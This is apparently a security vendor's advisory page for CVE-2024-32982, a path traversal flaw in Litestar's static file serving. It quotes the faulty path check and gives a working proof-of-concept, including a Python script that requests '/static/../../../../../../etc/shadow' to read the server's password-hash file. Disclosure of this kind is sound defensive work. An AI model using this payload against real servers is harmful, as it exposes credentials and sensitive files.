Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2024-32982 — litestar

🟠 CVSS 8.2 — High ✅ No Known Exploit CWE-22 NVD
8.2
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Litestar and Starlite vulnerable to Path Traversal

# Summary

Local File Inclusion via Path Traversal in LiteStar Static File Serving

A Local File Inclusion (LFI) vulnerability has been discovered in the static file serving component of [LiteStar](https://github.com/litestar-org/litestar). This vulnerability allows attackers to exploit path traversal flaws, enabling unauthorized access to sensitive files outside the designated directories. Such access can lead to the disclosure of sensitive information or potentially compromise the server.

Details

The vulnerability is located in the file path handling mechanism within the static content serving function, specifically at [line 70 in litestar/static_files/base.py](https://github.com/litestar-org/litestar/blob/main/litestar/static_files/base.py#L70).

The function fails to properly validate the destination file path derived from user input, thereby permitting directory traversal. The critical code segment is as follows:

```python

commonpath([str(directory), file_info["name"], joined_path])

```

Given the variables:

```python

directory = PosixPath('/Users/brian/sandbox/test_vuln/static')

file_info["name"] = '/Users/brian/sandbox/test_vuln/static/../requirements.txt'

joined_path = PosixPath('/Users/brian/sandbox/test_vuln/static/../requirements.txt')

```

The function outputs '/Users/brian/sandbox/test_vuln/static', incorrectly assuming it is confined to the static directory. This incorrect validation facilitates directory traversal, exposing the system to potential unauthorized access and manipulation.

Proof of Concept (PoC)

To reproduce this vulnerability, follow these steps:

1. Set up the environment:

  • Install with pip the uvicorn and litestar packages.
  • Create a static folder in the root directory of your project and place any file (e.g., an image) in it for testing.
  • Ensure the static file serving is enabled, which is typically the default configuration.

2. Preparation of the testing environment:

  • If using Ubuntu or a similar system, you can use /etc/shadow which contains sensitive password information. If not, create a dummy sensitive file outside the static directory for testing.
  • Create a main.py file with the following content to configure and run the LiteStar server:

```python

from pathlib import Path

from litestar import Litestar

from litestar.static_files import create_static_files_router

import uvicorn

app = Litestar(

route_handlers=[

create_static_files_router(path="/static", directories=["static"]),

],

)

if __name__ == "__main__":

uvicorn.run("main:app", host="0.0.0.0", port=8000)

```

  • Run this script with the command python3 main.py to start the server.

3. Exploit:

  • Prepare an exploit script named exploit.py with the following Python code to perform the HTTP request without client-side sanitization:

```python

import http.client

def send_request(host, port, path):

connection = http.client.HTTPConnection(host, port)

connection.request("GET", path)

response = connection.getresponse()

print(f"Status: {response.status}")

print(f"Headers: {response.getheaders()}")

data = response.read()

print(f"Body: {data.decode('utf-8')}")

connection.close()

send_request("localhost", 8000, "/static/../../../../../../etc/shadow")

```

  • Execute this script using python3 exploit.py. This script uses direct HTTP connections to bypass client-side path sanitization present in tools like curl or web browsers.

4. Observe:

  • The server should respond with the contents of the /etc/shadow file, thereby confirming the path traversal vulnerability.
  • The output will display the status, headers, and body of the response, which should contain the contents of the sensitive file.

Impact

This Local File Inclusion vulnerability critically affects all instances of [LiteStar](https://github.com/litestar-org/litestar) where the server has been configured to serve static files. By exploiting this vulnerability, unauthorized attackers can gain read access to any file that the server process has permission to access. Here are the specific impacts:

1. Exposure of Sensitive Information:

  • The ability to traverse the file system can lead to the exposure of highly sensitive information. This includes system configuration files, application logs, or scripts containing credentials or cryptographic keys. Such information can provide attackers with deeper insights into the system architecture or facilitate further attacks.

2. Potential for System Compromise:

  • If sensitive system or application configuration files are exposed, attackers might be able to use this information to manipulate system behavior or escalate their privileges. For instance, accessing a .env file might reveal environment variables used for application con

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity low, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: Low — limited, and the attacker does not choose what is affected.
  • Availability impact: None.

Weakness class

CVE-2024-32982 is classified as CWE-22: Path Traversal. A file path built from user input is not confined to the intended directory, letting an attacker reach files elsewhere on the filesystem.

Affected software

CVE-2024-32982 is recorded against 3 packages.

  • litestar (from 2.8.0 up to 2.8.3)
  • starlite (from 1.37.0 up to 1.51.16)
  • unknown

Timeline and source

Published on 13 July 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Web)
github.com (Package)
github.com (Web)
pypi.org (Package)
github.com (Advisory)

Other advisories for this package

litestar has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-22: Path Traversal) in other software:

Details

Severity HIGH
CVSS Score 8.2
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
CWE CWE-22
Public Exploit ✅ No
Source NVD
Published 2026-07-13
Updated 2026-08-20
Modified 2026-07-13
Fix URL N/A

Affected Packages

Software From version Fixed in
litestar 2.8.0 2.8.3
starlite 1.37.0 1.51.16
unknown

Similar Threats

Site Security Check

Is litestar part of your stack?

CVE-2024-32982 is rated CVSS 8.2 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2024